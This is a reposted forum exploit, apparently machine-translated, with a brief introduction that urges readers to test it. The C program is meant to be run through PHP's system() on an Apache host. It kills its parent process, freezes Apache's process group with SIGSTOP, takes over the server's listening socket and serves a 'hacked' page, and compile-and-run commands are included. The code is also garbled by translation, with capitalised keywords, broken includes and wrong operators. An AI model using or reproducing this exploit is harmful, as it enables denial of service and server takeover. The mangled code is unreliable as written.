Copied from outside China, this vulnerability can stop all Apache servers. It has not been tested. If you are interested, you can test it! It doesn't matter if you don't understand text. You don't know, Google knows!
-------------------------------------
The original text is as follows:
Hi this exploit can stop all Apache in server then you can connect by Netcat and you dont facing any problem like this problem
CED: 97% of original size [527x89]-click to view full image
Quote
/*************************************** ****************/
/**/
/* Apache's mod_php exploit */
/* Stops all Apache processes (kernel t root), and */
/* Listens to Apache's port */
/**/
/* Execute this via system () function of PHP */
/**/
/* Tested on :*/
/* Apache: 2.2.3 */
/* PHP: 4.4.3, 4.4.4, 5.0.4, 5.1.4, 5.1.6, 5.2.0rc5 */
/**/
/* Coded by zero-cold, 17/08/07 */
/* [Tryag.com/cc] */
/**/
/*************************************** ****************/
# Include <unistd. h>
# Include <sys/types. h>
# Include <sys/socket. h>
# Include <signal. h>
# Include <string. h>
# Include <stdio. h>
# Include <stdlib. h>
# Include <netinet/in. h>
Char * Header = "HTTP/1.1 200 OK \ r \ ncontent-type: text/html \ r \ n \ r \ nsorry, the server is unavailable: hacked \ r \ n ";
Char TMP [1024];
Int main ()
{
Chdir ("/"); // do it, because it is recommended for daemons
Signal (sigchld, sig_ign); // do not bother if a child dies
Kill (getppid (), sigkill); // kill parent (to avoid 'zombies ')
If (Fork () return 0; // daemonize, and parent exit
Sleep (1); // wait for parent to exit (we don't want him to catch sigstop)
Int P = getsid (0); // get current process group ID
Setsid (); // become session leader
Kill (-P, sigstop); // good night, Apache process group
Int sock;
Struct sockaddr_in clientname;
For (sock = 3; sock <getdtablesize (); sock ++) // find valid socket handle
If (Listen (sock, 10) = 0) break;
While (1)
{
Int new;
Unsigned size = sizeof (clientname );
New = accept (sock, (struct sockaddr *) & clientname, & size );
If (New <0)
Return 1;
If (Fork () = 0) // child will handle this connection, parent will listen for New Connection
{
Write (new, header, strlen (header ));
Sprintf (TMP, "<br> you are % s: % HD \ n", inet_ntoa (clientname. sin_addr), ntohs (clientname. sin_port ));
Write (new, TMP, strlen (TMP) + 1 );
Shutdown (new, 2 );
Close (new );
Return 0;
}
}
}
GCC filname. C-o filename
./Filename